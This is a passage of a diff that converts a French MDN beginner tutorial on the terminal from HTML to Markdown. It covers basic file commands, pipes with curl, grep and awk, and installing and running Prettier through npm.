<li><code>touch</code> — crée un nouveau fichier vide dans le répertoire courant. Par exemple, <code>touch mdn-exemple.md</code> crée un fichier vide nommé <code>mdn-exemple.md</code>.</li> - <li><code>mv</code> — déplace un fichier à partir de l'emplacement spécifié en premier vers celui spécifié en second, par exemple <code>mv mdn-exemple.md mdn-exemple.txt</code> (les emplacements sont écrits sous la forme de chemins - <em>file paths</em>). Cette commande déplace un fichier nommé <code>mdn-exemple.md</code> situé dans le répertoire courant vers une fichier nommé <code>mdn-exemple.txt</code> dans le répertoire courant. Techniquement, le fichier est déplacé, mais d'un point de vue pratique, cette commande renomme en fait le fichier.</li> - <li><code>cp</code> — d'un usage similaire à <code>mv</code>, <code>cp</code> copie le fichier à l'emplacement spécifié en premier vers celui spécifié en second. Par exemple, <code>cp mdn-exemple.txt mdn-exemple.txt.bak</code> crée une copie de <code>mdn-exemple.txt</code> nommée <code>mdn-exemple.txt.bak</code> (bien entendu vous pouvez la nommer comme vous voulez).</li> - <li><code>rm</code> — supprimer le fichier spécifié. Par exemple, <code>rm mdn-exemple.txt</code> efface un fichier unique nommé <code>mdn-exemple.txt</code>. Notez que cet effacement est permanent et ne peut pas être annulé comme lorsque vous placez un fichier dans la corbeille de votre Bureau dans votre interface utilisateur.</li> -</ul> +- `mkdir` — crée un nouveau répertoire à l'intérieur du répertoire courant. Par exemple, `mkdir mon-super-site` va créer un nouveau répertoire nommé `mon-super-site`. +- `rmdir` — efface le répertoire dont le nom est passé, mais seulement s'il est vide. Par exemple `rmdir mon-super-site` va supprimer le répertoire que nous avons créé ci-dessus. Si vous voulez supprimer un répertoire qui n'est pas vide (ainsi que tout ce qu'il contient), vous pouvez utiliser l'option `-r` (_recursive_), mais cela est dangereux. Assurez-vous de n'avoir pas besoin plus tard de quelque chose qui se trouverait dans le répertoire, car il aura définitivement disparu. +- `touch` — crée un nouveau fichier vide dans le répertoire courant. Par exemple, `touch mdn-exemple.md` crée un fichier vide nommé `mdn-exemple.md`. +- `mv` — déplace un fichier à partir de l'emplacement spécifié en premier vers celui spécifié en second, par exemple `mv mdn-exemple.md mdn-exemple.txt` (les emplacements sont écrits sous la forme de chemins - _file paths_). Cette commande déplace un fichier nommé `mdn-exemple.md` situé dans le répertoire courant vers une fichier nommé `mdn-exemple.txt` dans le répertoire courant. Techniquement, le fichier est déplacé, mais d'un point de vue pratique, cette commande renomme en fait le fichier. +- `cp` — d'un usage similaire à `mv`, `cp` copie le fichier à l'emplacement spécifié en premier vers celui spécifié en second. Par exemple, `cp mdn-exemple.txt mdn-exemple.txt.bak` crée une copie de `mdn-exemple.txt` nommée `mdn-exemple.txt.bak` (bien entendu vous pouvez la nommer comme vous voulez). +- `rm` — supprimer le fichier spécifié. Par exemple, `rm mdn-exemple.txt` efface un fichier unique nommé `mdn-exemple.txt`. Notez que cet effacement est permanent et ne peut pas être annulé comme lorsque vous placez un fichier dans la corbeille de votre Bureau dans votre interface utilisateur. -<div class="note"> -<p><strong>Note :</strong> Beaucoup de commandes de terminal autorisent l'emploi d'astérisques comme caractère "joker", dont le sens est "une séquence de caractères quelconque". Cela vous permet d'exécuter une commande en une seule fois sur un nombre potentiellement important de fichiers qui correspondent au modèle donné. À titre d'exemple, <code>rm mdn-*</code> va effacer tous les fichiers qui commencent par <code>mdn-</code>. <code>rm mdn-*.bak</code> va effacer tous les fichiers qui commencent par <code>mdn- </code>et finissent par <code>.bak</code>.</p> -</div> +> **Note :** Beaucoup de commandes de terminal autorisent l'emploi d'astérisques comme caractère "joker", dont le sens est "une séquence de caractères quelconque". Cela vous permet d'exécuter une commande en une seule fois sur un nombre potentiellement important de fichiers qui correspondent au modèle donné. À titre d'exemple, `rm mdn-*` va effacer tous les fichiers qui commencent par `mdn-`. `rm mdn-*.bak` va effacer tous les fichiers qui commencent par `mdn- `et finissent par `.bak`. -<h2 id="Le_terminal_—_une_pratique_à_risque">Le terminal — une pratique à risque ?</h2> +## Le terminal — une pratique à risque ? -<p>Nous y avons déjà fait allusion, et soyons clairs - travailler sur terminal demande de la prudence. Des commandes simples ne présentent pas trop de risques, mais dès que vous commencez à combiner des commandes plus complexes, il vous faut réfléchir soigneusement à ce qu'elle va exécuter, et essayer de la tester avant de la lancer effectivement dans le répertoire voulu.</p> +Nous y avons déjà fait allusion, et soyons clairs - travailler sur terminal demande de la prudence. Des commandes simples ne présentent pas trop de risques, mais dès que vous commencez à combiner des commandes plus complexes, il vous faut réfléchir soigneusement à ce qu'elle va exécuter, et essayer de la tester avant de la lancer effectivement dans le répertoire voulu. -<p>Supposons que vous ayez 1000 fichiers texte dans un répertoire, et que vous vouliez les parcourir en supprimant uniquement ceux dont le nom comprend une certaine chaîne de caractères. Si vous ne faites pas attention, vous risquez d'effacer quelque chose d'important et de perdre du coup une somme de travail. Une bonne habitude à prendre consiste à écrire votre ligne de commande dans un éditeur de texte, à la construire à votre idée, et ensuite à faire une copie de sauvegarde de votre répertoire avant d'essayer la commande sur celui-ci.</p> +Supposons que vous ayez 1000 fichiers texte dans un répertoire, et que vous vouliez les parcourir en supprimant uniquement ceux dont le nom comprend une certaine chaîne de caractères. Si vous ne faites pas attention, vous risquez d'effacer quelque chose d'important et de perdre du coup une somme de travail. Une bonne habitude à prendre consiste à écrire votre ligne de commande dans un éditeur de texte, à la construire à votre idée, et ensuite à faire une copie de sauvegarde de votre répertoire avant d'essayer la commande sur celui-ci. -<p>Autre astuce intéressante : si vous n'êtes pas à l'aise avec l'idée d'essayer des lignes de commande sur votre propre machine, le site <a href="https://glitch.com/">Glitch.com</a> est un bon endroit pour le faire en toute sécurité. En plus d'être un lieu génial pour tester du code de développement web, les projets vous donnent accès à un terminal qui vous permet de lancer toutes les commandes que vous voulez, sans risquer d'endommager votre propre machine.</p> +Autre astuce intéressante : si vous n'êtes pas à l'aise avec l'idée d'essayer des lignes de commande sur votre propre machine, le site [Glitch.com](https://glitch.com/) est un bon endroit pour le faire en toute sécurité. En plus d'être un lieu génial pour tester du code de développement web, les projets vous donnent accès à un terminal qui vous permet de lancer toutes les commandes que vous voulez, sans risquer d'endommager votre propre machine. -<p><img alt="a double screenshot showing the glitch.com home page, and the glitch terminal emulator" src="glitch.png"></p> + -<p>Le site <a href="https://tldr.sh/">tldr.sh</a> est une formidable ressource pour obtenir un aperçu de commandes particulières. C'est un service de documentation géré de façon communautaire, similaire à MDN, mais dédié aux commandes de terminal.</p> +Le site [tldr.sh](https://tldr.sh/) est une formidable ressource pour obtenir un aperçu de commandes particulières. C'est un service de documentation géré de façon communautaire, similaire à MDN, mais dédié aux commandes de terminal. -<p>Dans la section suivante, nous allons monter d'un cran (et même de plusieurs), et voir comment nous pouvons combiner plusieurs outils en ligne de commande pour révéler toute la puissance du terminal par rapport à l'interface graphique habituelle.</p> +Dans la section suivante, nous allons monter d'un cran (et même de plusieurs), et voir comment nous pouvons combiner plusieurs outils en ligne de commande pour révéler toute la puissance du terminal par rapport à l'interface graphique habituelle. -<h2 id="Combiner_des_commandes_grâce_aux_pipes">Combiner des commandes grâce aux "pipes"</h2> +## Combiner des commandes grâce aux "pipes" -<p>L'usage du terminal prend toute sa valeur lorsque vous commencez à chaîner les commandes en utilisant le symbole <code>|</code> ("pipe" ou "tuyau" en français). Voyons comment on peut faire cela sur un exemple très rapide.</p> +L'usage du terminal prend toute sa valeur lorsque vous commencez à chaîner les commandes en utilisant le symbole `|` ("pipe" ou "tuyau" en français). Voyons comment on peut faire cela sur un exemple très rapide. -<p>Nous avons déjà vu <code>ls</code>, qui liste le contenu du répertoire courant :</p> +Nous avons déjà vu `ls`, qui liste le contenu du répertoire courant : -<pre class="brush: bash">ls</pre> +```bash +ls +``` -<p>Mais comment nous y prendre si nous voulons compter le nombre de fichiers et de répertoires à l'intérieur du répertoire courant ? <code>ls</code> n'est pas capable de faire cela à lui seul.</p> +Mais comment nous y prendre si nous voulons compter le nombre de fichiers et de répertoires à l'intérieur du répertoire courant ? `ls` n'est pas capable de faire cela à lui seul. -<p>Il existe un autre outil Unix nommé <code>wc</code>. Celui-ci compte les mots, lignes, caractères, ou octets de la donnée qu'on lui passe, quelle qu'elle soit. Il peut s'agir d'un fichier texte — l'exemple ci-dessous donne le nombre de lignes de <code>monfichier.txt</code> :</p> +Il existe un autre outil Unix nommé `wc`. Celui-ci compte les mots, lignes, caractères, ou octets de la donnée qu'on lui passe, quelle qu'elle soit. Il peut s'agir d'un fichier texte — l'exemple ci-dessous donne le nombre de lignes de `monfichier.txt` : -<pre class="brush: bash">wc -l monfichier.txt</pre> +```bash +wc -l monfichier.txt +``` -<p>Mais <code>wc</code> est également capable de compter les lignes de tout ce qui lui est passé par un <strong>pipe</strong>. Par exemple, la commande ci-dessous compte les lignes renvoyées par la commande <code>ls</code> (lignes qui seraient normalement affichées sur le terminal) et affiche ce décompte à la place :</p> +Mais `wc` est également capable de compter les lignes de tout ce qui lui est passé par un **pipe**. Par exemple, la commande ci-dessous compte les lignes renvoyées par la commande `ls` (lignes qui seraient normalement affichées sur le terminal) et affiche ce décompte à la place : -<pre class="brush: bash">ls | wc -l</pre> +```bash +ls | wc -l +``` -<p>Comme <code>ls</code> affiche chaque fichier ou répertoire sur une nouvelle ligne, on obtient bien le compte des répertoires et des fichiers.</p> +Comme `ls` affiche chaque fichier ou répertoire sur une nouvelle ligne, on obtient bien le compte des répertoires et des fichiers. -<p>Comment ça marche ? Le comportement général des outils de ligne de commande (unix) consiste à afficher du texte dans le terminal (ce qu'on appelle aussi "imprimer sur la sortie standard (standard input)" ou <code>STDOUT</code>). Un bon nombre de commandes peuvent aussi lire du contenu à partir d'un flux d'entrée (appelé "entrée standard (standard input)" ou <code>STDIN</code>).</p> +Comment ça marche ? Le comportement général des outils de ligne de commande (unix) consiste à afficher du texte dans le terminal (ce qu'on appelle aussi "imprimer sur la sortie standard (standard input)" ou `STDOUT`). Un bon nombre de commandes peuvent aussi lire du contenu à partir d'un flux d'entrée (appelé "entrée standard (standard input)" ou `STDIN`). -<p>L'opérateur pipe peut <em>connecter</em> ces entrées et sorties, ce qui nous permet de construire des opérations de plus en plus complexes selon nos besoins — la sortie d'une commande devient l'entrée de la commande suivante. Dans le cas présent, <code>ls</code> enverrait normalement sa sortie sur <code>STDOUT</code>, mais au lieu de cela la sortie de <code>ls</code> est passée par un pipe à <code>wc</code>, qui la prend en entrée, compte ses lignes et imprime ce décompte sur <code>STDOUT</code>.</p> +L'opérateur pipe peut _connecter_ ces entrées et sorties, ce qui nous permet de construire des opérations de plus en plus complexes selon nos besoins — la sortie d'une commande devient l'entrée de la commande suivante. Dans le cas présent, `ls` enverrait normalement sa sortie sur `STDOUT`, mais au lieu de cela la sortie de `ls` est passée par un pipe à `wc`, qui la prend en entrée, compte ses lignes et imprime ce décompte sur `STDOUT`. -<h2 id="Un_exemple_un_peu_plus_complexe">Un exemple un peu plus complexe</h2> +## Un exemple un peu plus complexe -<p>Occupons-nous maintenant de quelque chose d'un peu plus compliqué. Nous allons d'abord essayer de récupérer le contenu de la page MDN "fetch" en utilisant la commande <code>curl</code> (dont on peut se servir pour faire une requête de contenu à partir d'URLs), sur <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch">https://developer.mozilla.org/fr/docs/Web/API/fetch</a>.</p> +Occupons-nous maintenant de quelque chose d'un peu plus compliqué. Nous allons d'abord essayer de récupérer le contenu de la page MDN "fetch" en utilisant la commande `curl` (dont on peut se servir pour faire une requête de contenu à partir d'URLs), sur [https://developer.mozilla.org/fr/docs/Web/API/fetch](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch). -<p>En fait, cette URL est celle de l'ancien emplacement de la page. Lorsque vous l'entrez dans un nouvel onglet de votre navigateur, vous êtes (finalement) redirigé sur <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch">https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch</a>.</p> +En fait, cette URL est celle de l'ancien emplacement de la page. Lorsque vous l'entrez dans un nouvel onglet de votre navigateur, vous êtes (finalement) redirigé sur [https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch). -<p>Par conséquent, si vous utilisez curl pour faire une requête à https://developer.mozilla.org/docs/Web/API/fetch, vous n'aurez pas de résultat. Essayez :</p> +Par conséquent, si vous utilisez curl pour faire une requête à https\://developer.mozilla.org/docs/Web/API/fetch, vous n'aurez pas de résultat. Essayez : -<pre class="brush: bash">curl https://developer.mozilla.org/fr/docs/Web/API/fetch</pre> +```bash +curl https://developer.mozilla.org/fr/docs/Web/API/fetch +``` -<p>Nous devons dire explicitement à <code>curl</code> de suivre les redirections en utilisant l'option <code>-L</code>.</p> +Nous devons dire explicitement à `curl` de suivre les redirections en utilisant l'option `-L`. -<p>Examinons également les en-têtes retournées par <code>developer.mozilla.org</code> en utilisant l'option <code>-I</code> de <code>curl</code>, et affichons toutes les redirections en passant la sortie de <code>curl</code> à <code>grep</code> grâce à un pipe (on va demander à <code>grep</code> de renvoyer toutes les lignes qui contiennent le mot "location").</p> +Examinons également les en-têtes retournées par `developer.mozilla.org` en utilisant l'option `-I` de `curl`, et affichons toutes les redirections en passant la sortie de `curl` à `grep` grâce à un pipe (on va demander à `grep` de renvoyer toutes les lignes qui contiennent le mot "location"). -<p>Essayez maintenant la ligne suivante, et vous allez constater qu'il y a en fait trois redirections avant d'atteindre la page finale :</p> +Essayez maintenant la ligne suivante, et vous allez constater qu'il y a en fait trois redirections avant d'atteindre la page finale : -<pre class="brush: bash">curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location</pre> +```bash +curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location +``` -<p>Votre sortie devrait ressembler à ceci (<code>curl</code> va d'abord afficher des compteurs et autres informations de téléchargement) :</p> +Votre sortie devrait ressembler à ceci (`curl` va d'abord afficher des compteurs et autres informations de téléchargement) : -<pre class="brush: bash">location: /fr/docs/Web/API/fetch +```bash +location: /fr/docs/Web/API/fetch location: /fr/docs/Web/API/GlobalFetch/GlobalFetch.fetch() location: /fr/docs/Web/API/GlobalFetch/fetch -location: /fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch</pre> +location: /fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch +``` -<p>Bien que ce résultat soit artificiel, nous pourrions le pousser un peu plus loin et remplacer <code>location:</code> par le nom de domaine, de façon à avoir des URLs complètes. Pour cela, nous allons ajouter <code>awk</code> à notre formule (il s'agit d'un langage de programmation tout comme JavaScript, Ruby ou Python, mais beaucoup plus ancien !).</p> +Bien que ce résultat soit artificiel, nous pourrions le pousser un peu plus loin et remplacer `location:` par le nom de domaine, de façon à avoir des URLs complètes. Pour cela, nous allons ajouter `awk` à notre formule (il s'agit d'un langage de programmation tout comme JavaScript, Ruby ou Python, mais beaucoup plus ancien !). -<p>Essayez de lancer cette commande :</p> +Essayez de lancer cette commande : -<pre class="brush: bash">curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location | awk '{ print "https://developer.mozilla.org" $2 }'</pre> +```bash +curl https://developer.mozilla.org/docs/Web/API/fetch -L -I | grep location | awk '{ print "https://developer.mozilla.org" $2 }' +``` -<p>Votre sortie finale devrait ressembler à ceci :</p> +Votre sortie finale devrait ressembler à ceci : -<pre class="brush: bash">https://developer.mozilla.org/fr/docs/Web/API/fetch +```bash +https://developer.mozilla.org/fr/docs/Web/API/fetch https://developer.mozilla.org/fr/docs/Web/API/GlobalFetch/GlobalFetch.fetch() https://developer.mozilla.org/fr/docs/Web/API/GlobalFetch/fetch -https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch</pre> +https://developer.mozilla.org/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch +``` -<p>En combinant ces commandes nous avons personnalisé la sortie pour qu'elle montre les URLs complètes vers lesquels le serveur de Mozilla effectue les redirections lorsque nous lui soumettons la requête pour l'URL <code>/docs/Web/API/fetch</code>.<br> - Développer votre connaissance du système en apprenant le fonctionnement de ces simples outils et comment les intégrer à votre arsenal pour résoudre des problèmes bien particuliers - cela vous sera d'une grande utilité tout au long des années à venir.</p> +En combinant ces commandes nous avons personnalisé la sortie pour qu'elle montre les URLs complètes vers lesquels le serveur de Mozilla effectue les redirections lorsque nous lui soumettons la requête pour l'URL `/docs/Web/API/fetch`. +Développer votre connaissance du système en apprenant le fonctionnement de ces simples outils et comment les intégrer à votre arsenal pour résoudre des problèmes bien particuliers - cela vous sera d'une grande utilité tout au long des années à venir. -<h2 id="Ajoutez_des_super-pouvoirs_!">Ajoutez des super-pouvoirs !</h2> +## Ajoutez des super-pouvoirs ! -<p>À présent que nous avons jeté un œil à quelques-unes des commandes intégrées dont votre système est pré-équipé, voyons comment installer un outil tiers de CLI et nous en servir.</p> +À présent que nous avons jeté un œil à quelques-unes des commandes intégrées dont votre système est pré-équipé, voyons comment installer un outil tiers de CLI et nous en servir. -<p>La plus grande partie du vaste écosystème d'outils installables pour le développement web front-end se trouve sous <a href="https://www.npmjs.com">npm</a>, un service privé d'hébergement de packages qui fonctionne en étroite interaction avec Node.js. Celui-ci se développe peu à peu — vous pouvez vous attendre à davantage de fournisseurs de packages avec le temps.</p> +La plus grande partie du vaste écosystème d'outils installables pour le développement web front-end se trouve sous [npm](https://www.npmjs.com), un service privé d'hébergement de packages qui fonctionne en étroite interaction avec Node.js. Celui-ci se développe peu à peu — vous pouvez vous attendre à davantage de fournisseurs de packages avec le temps. -<p><a href="https://nodejs.org/fr/">L'installation de Node.js</a> installe en même temps l'outil de ligne de commande npm (ainsi que npx, un outil supplémentaire centré sur npm), qui est la porte d'entrée pour l'installation d'outils de ligne de commande additionnels. Node.js et npm fonctionnent de la même façon sur tous les systèmes : macOS, Windows, ainsi que Linux.</p> +[L'installation de Node.js](https://nodejs.org/fr/) installe en même temps l'outil de ligne de commande npm (ainsi que npx, un outil supplémentaire centré sur npm), qui est la porte d'entrée pour l'installation d'outils de ligne de commande additionnels. Node.js et npm fonctionnent de la même façon sur tous les systèmes : macOS, Windows, ainsi que Linux. -<p>Allons-y : installez npm sur votre système à partir de l'URL ci-dessus qui va vous permettre de télécharger et de lancer un installeur Node.js approprié à votre système d'exploitation. Si cela vous est proposé, assurez-vous d'inclure npm dans l'installation.</p> +Allons-y : installez npm sur votre système à partir de l'URL ci-dessus qui va vous permettre de télécharger et de lancer un installeur Node.js approprié à votre système d'exploitation. Si cela vous est proposé, assurez-vous d'inclure npm dans l'installation. -<p><img alt="the node.js installer on windows, showing the option to include npm" src="npm-install-option.png"></p> + -<p>Un certain nombre d'outils variés vous attendent dans le prochaine article ; pour l'instant nous allons nous faire la main sur <a href="https://prettier.io/">Prettier</a>. Prettier est un outil de formatage de code normatif qui se présente comme ayant "peu d'options". Moins d'options, cela évoque plus de simplicité. Vu comme on peut parfois être débordé par la complexité de certains outils, le concept "peu d'options" peut se révéler très attractif.</p> +Un certain nombre d'outils variés vous attendent dans le prochaine article ; pour l'instant nous allons nous faire la main sur [Prettier](https://prettier.io/). Prettier est un outil de formatage de code normatif qui se présente comme ayant "peu d'options". Moins d'options, cela évoque plus de simplicité. Vu comme on peut parfois être débordé par la complexité de certains outils, le concept "peu d'options" peut se révéler très attractif. -<h3 id="Où_installer_nos_outils_de_CLI">Où installer nos outils de CLI ?</h3> +### Où installer nos outils de CLI ? -<p>Avant de nous lancer dans l'installation de Prettier, une question se pose — "où allons-nous l'installer ?"</p> +Avant de nous lancer dans l'installation de Prettier, une question se pose — "où allons-nous l'installer ?" -<p><code>npm</code> nous donne le choix entre une installation globale — ce qui nous permet d'y avoir accès de n'importe où — ou bien locale, dans le dossier du projet en cours.</p> +`npm` nous donne le choix entre une installation globale — ce qui nous permet d'y avoir accès de n'importe où — ou bien locale, dans le dossier du projet en cours. -<p>Il y a des pour et des contre pour les deux options — la liste ci-dessous est loin d'être exhaustive:</p> +Il y a des pour et des contre pour les deux options — la liste ci-dessous est loin d'être exhaustive: -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Pour l'installation globale</th> - <th scope="col">Contre l'installation globale</th> - </tr> - </thead> - <tbody> - <tr> - <td>Accessible partout dans votre terminal</td> - <td>Peut ne pas être compatible avec votre codebase.</td> - </tr> - <tr> - <td>Installation en une fois</td> - <td>Les autres développeurs de votre équipe n'auront pas accès à ces outils, par exemple si vous partagez votre codebase sur un outil comme git.</td> - </tr> - <tr> - <td>Moins d'espace disque</td> - <td>En lien avec le point précédent, rend le code du projet plus difficile à répliquer (si vous installez vos outils en local, ils peuvent être configurés comme des dépendances et installés avec <code>npm install</code>).</td> - </tr> - <tr> - <td>Stabilité de la version</td> - <td></td> - </tr> - <tr> - <td>Donne l'impression d'être une commande unix comme les autres</td> - <td></td> - </tr> - </tbody> -</table> +| Pour l'installation globale | Contre l'installation globale | +| ------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Accessible partout dans votre terminal | Peut ne pas être compatible avec votre codebase. | +| Installation en une fois | Les autres développeurs de votre équipe n'auront pas accès à ces outils, par exemple si vous partagez votre codebase sur un outil comme git. | +| Moins d'espace disque | En lien avec le point précédent, rend le code du projet plus difficile à répliquer (si vous installez vos outils en local, ils peuvent être configurés comme des dépendances et installés avec `npm install`). | +| Stabilité de la version | | +| Donne l'impression d'être une commande unix comme les autres | | -<p>Bien que la liste des <em>contre </em>soit plus courte, l'impact négatif d'une installation globale est potentiellement beaucoup plus lourd que les bénéfices. Cela dit, pour l'instant, nous allons choisir l'installation globale dans un but de simplicité. Nous examinerons davantage les installations locales et leur intérêt dans notre prochain article.</p> +Bien que la liste des _contre_ soit plus courte, l'impact négatif d'une installation globale est potentiellement beaucoup plus lourd que les bénéfices. Cela dit, pour l'instant, nous allons choisir l'installation globale dans un but de simplicité. Nous examinerons davantage les installations locales et leur intérêt dans notre prochain article. -<h3 id="Installation_de_Prettier">Installation de Prettier</h3> +### Installation de Prettier -<p>Dans cette partie nous allons installer Prettier en tant qu'utilitaire global de ligne de commande.</p> +Dans cette partie nous allons installer Prettier en tant qu'utilitaire global de ligne de commande. -<p>Prettier est un outil de formatage de code normatif pour les développeurs front-end, centré sur le langage JavaScript et ses dérivés, avec un support pour HTML, CSS, SCSS, JSON et plus.</p> +Prettier est un outil de formatage de code normatif pour les développeurs front-end, centré sur le langage JavaScript et ses dérivés, avec un support pour HTML, CSS, SCSS, JSON et plus. -<p>Prettier offre les avantages suivants :</p> +Prettier offre les avantages suivants : -<ul> - <li>Il épargne la surcharge cognitive que représente le maintien manuel d'une cohérence de style au travers de l'ensemble de vos fichiers de code, en le faisant automatiquement à votre place.</li> - <li>Il aide les débutants en développement web à formater leur code selon les bonnes pratiques.</li> - <li>Il peut s'installer sur tout système d'exploitation et même comme partie intégrante des outils du projet, de sorte que les collègues et amis qui travaillent sur votre code utilisent le même style que vous.</li> - <li>On le peut le configurer pour qu'il s'exécute à la sauvegarde, en cours de frappe, ou encore au moment de publier votre code (grâce à des outils supplémentaires que nous verrons plus loin dans ce module).</li> -</ul> +- Il épargne la surcharge cognitive que représente le maintien manuel d'une cohérence de style au travers de l'ensemble de vos fichiers de code, en le faisant automatiquement à votre place. +- Il aide les débutants en développement web à formater leur code selon les bonnes pratiques. +- Il peut s'installer sur tout système d'exploitation et même comme partie intégrante des outils du projet, de sorte que les collègues et amis qui travaillent sur votre code utilisent le même style que vous. +- On le peut le configurer pour qu'il s'exécute à la sauvegarde, en cours de frappe, ou encore au moment de publier votre code (grâce à des outils supplémentaires que nous verrons plus loin dans ce module). -<p>Après avoir installé node, ouvrez votre terminal et lancez les commandes suivantes pour installer Prettier :</p> +Après avoir installé node, ouvrez votre terminal et lancez les commandes suivantes pour installer Prettier : -<pre class="brush: bash">npm install --global prettier</pre> +```bash +npm install --global prettier +``` -<p>Lorsque la commande a terminé son exécution, l'outil Prettier est disponible sur sur votre terminal, partout dans votre système de fichiers.</p> +Lorsque la commande a terminé son exécution, l'outil Prettier est disponible sur sur votre terminal, partout dans votre système de fichiers. -<p>En lançant la commande sans argument, comme pour beaucoup d'autres commandes, vous obtiendrez les informations d'utilisation et d'aide. Essayez :</p> +En lançant la commande sans argument, comme pour beaucoup d'autres commandes, vous obtiendrez les informations d'utilisation et d'aide. Essayez : -<pre class="brush: bash">prettier</pre> +```bash +prettier +``` -<p>La sortie devrait ressembler à ceci :</p> +La sortie devrait ressembler à ceci : -<pre class="brush: bash">Usage: prettier [options] [file/glob ...] +```bash +Usage: prettier [options] [file/glob ...] By default, output is written to stdout. Stdin is read if it is piped to Prettier and no files are given. -…</pre> +… +``` -<p>Cela vaut toujours la peine d'au moins survoler les informations sur l'utilisation, même lorsqu'elles sont longues. Vous pourrez ainsi mieux comprendre à quoi l'outil est censé servir.</p> +Cela vaut toujours la peine d'au moins survoler les informations sur l'utilisation, même lorsqu'elles sont longues. Vous pourrez ainsi mieux comprendre à quoi l'outil est censé servir. -<h3 id="Un_peu_de_pratique">Un peu de pratique</h3> +### Un peu de pratique -<p>Jouons un peu avec Prettier pour que vous puissiez voir comment il fonctionne.</p> +Jouons un peu avec Prettier pour que vous puissiez voir comment il fonctionne. -<p>Tout d'abord, créez un nouveau répertoire à un endroit que vous pourrez retrouver facilement, par exemple un répertoire nommé <code>prettier-test</code> sur votre <code>Bureau</code>.</p> +Tout d'abord, créez un nouveau répertoire à un endroit que vous pourrez retrouver facilement, par exemple un répertoire nommé `prettier-test` sur votre `Bureau`. -<p>Ensuite collez le code suivant dans un fichier que vous enregistrez dans ce répertoire sous le nom <code>index.js.</code></p> +Ensuite collez le code suivant dans un fichier que vous enregistrez dans ce répertoire sous le nom `index.js.` -<pre class="brush: js">const myObj = { +```js +const myObj = { a:1,b:{c:2}} function printMe(obj){console.log(obj.b.c)} -printMe(myObj)</pre> +printMe(myObj) +``` -<p>Nous pouvons exécuter prettier sur un code source simplement pour vérifier s'il nécessite une correction. Passez dans votre répertoire avec <code>cd</code> et essayez de lancer cette commande :</p> +Nous pouvons exécuter prettier sur un code source simplement pour vérifier s'il nécessite une correction. Passez dans votre répertoire avec `cd` et essayez de lancer cette commande : -<pre class="brush: bash">prettier --check index.js</pre> +```bash +prettier --check index.js +``` -<p>Vous devriez obtenir quelque chose comme</p> +Vous devriez obtenir quelque chose comme -<pre class="brush: bash">Checking formatting... +```bash +Checking formatting... index.js Code style issues found in the above file(s). Forgot to run Prettier? -</pre> +``` -<p>Le style nécessite donc des corrections. Pas de problème. On va les appliquer en ajoutant l'option <code>--write</code> à la commande prettier, ce qui nous laisse nous concentrer sur l'aspect utile de l'écriture du code.</p> +Le style nécessite donc des corrections. Pas de problème. On va les appliquer en ajoutant l'option `--write` à la commande prettier, ce qui nous laisse nous concentrer sur l'aspect utile de l'écriture du code. -<p>Essayez maintenant de lancer cette version de la commande :</p> +Essayez maintenant de lancer cette version de la commande : -<pre class="brush: bash">prettier --write index.js</pre> +```bash +prettier --write index.js +``` -<p>La sortie ressemble maintenant à ceci</p> +La sortie ressemble maintenant à ceci -<pre class="brush: bash">Checking formatting... +```bash +Checking formatting... index.js -Code style issues fixed in the above file(s).</pre> +Code style issues fixed in the above file(s). +``` -<p>Mais le plus important, c'est que votre fichier JavaScript a été reformaté :</p> +Mais le plus important, c'est que votre fichier JavaScript a été reformaté : -<pre class="brush: js">const myObj = { +```js +const myObj = { a: 1, b: { c: 2 }, }; function printMe(obj) { console.log(obj.b.c); } -printMe(myObj);</pre> +printMe(myObj); +``` -<p>Vous pouvez intégrer cette opération automatisée à votre workflow. L'intérêt des outils réside justement dans l'automatisation ; personnellement, notre préférence va au type d'automatisme qui se produit de façon transparente, sans qu'aucune configuration soit nécessaire.</p> +Vous pouvez intégrer cette opération automatisée à votre workflow. L'intérêt des outils réside justement dans l'automatisation ; personnellement, notre préférence va au type d'automatisme qui se produit de façon transparente, sans qu'aucune configuration soit nécessaire. -<p>Il existe de nombreuses façons de mettre en oeuvre des automatismes avec Prettier, et bien qu'elles dépassent le cadre de cet article, vous trouverez de l'aide dans d'excellentes ressources en ligne, dont certaines grâce aux liens ci-après. Vous pouvez lancer prettier :</p> +Il existe de nombreuses façons de mettre en oeuvre des automatismes avec Prettier, et bien qu'elles dépassent le cadre de cet article, vous trouverez de l'aide dans d'excellentes ressources en ligne, dont certaines grâce aux liens ci-après. Vous pouvez lancer prettier : -<ul> - <li>Avant de faire un commit sur un dépôt git en utilisant <a href="https://github.com/typicode/husky">Husky</a>.</li> - <li>Chaque fois que vous cliquez sur "sauvegarder" dans votre éditeur de code, qu'il s'agisse de <a href="https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode">VS Code</a>, d'<a href="https://atom.io/packages/prettier-atom">Atom</a>, ou de <a href="https://packagecontrol.io/packages/JsPrettier">Sublime Text</a>.</li> - <li>En tant qu'élément des contrôles continus d'intégration grâce à des outils tels que <a href="https://github.com/features/actions">Github Actions</a>.</li> -</ul> +- Avant de faire un commit sur un dépôt git en utilisant [Husky](https://github.com/typicode/husky). +- Chaque fois que vous cliquez sur "sauvegarder" dans votre éditeur de code, qu'il s'agisse de [VS Code](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode), d'[Atom](https://atom.io/packages/prettier-atom), ou de [Sublime Text](https://packagecontrol.io/packages/JsPrettier). +- En tant qu'élément des contrôles continus d'intégration grâce à des outils tels que [Github Actions](https://github.com/features/actions). -<p>Nous préférons personnellement la deuxième solution — quand on code par exemple sur VS Code, Prettier entre en jeu et nettoie le formatage lors de chaque enregistrement. Vous trouverez dans les <a href="https://prettier.io/docs/en/">Prettier docs</a> beaucoup plus d'informations sur les différentes façons d'utiliser Prettier.</p> +Nous préférons personnellement la 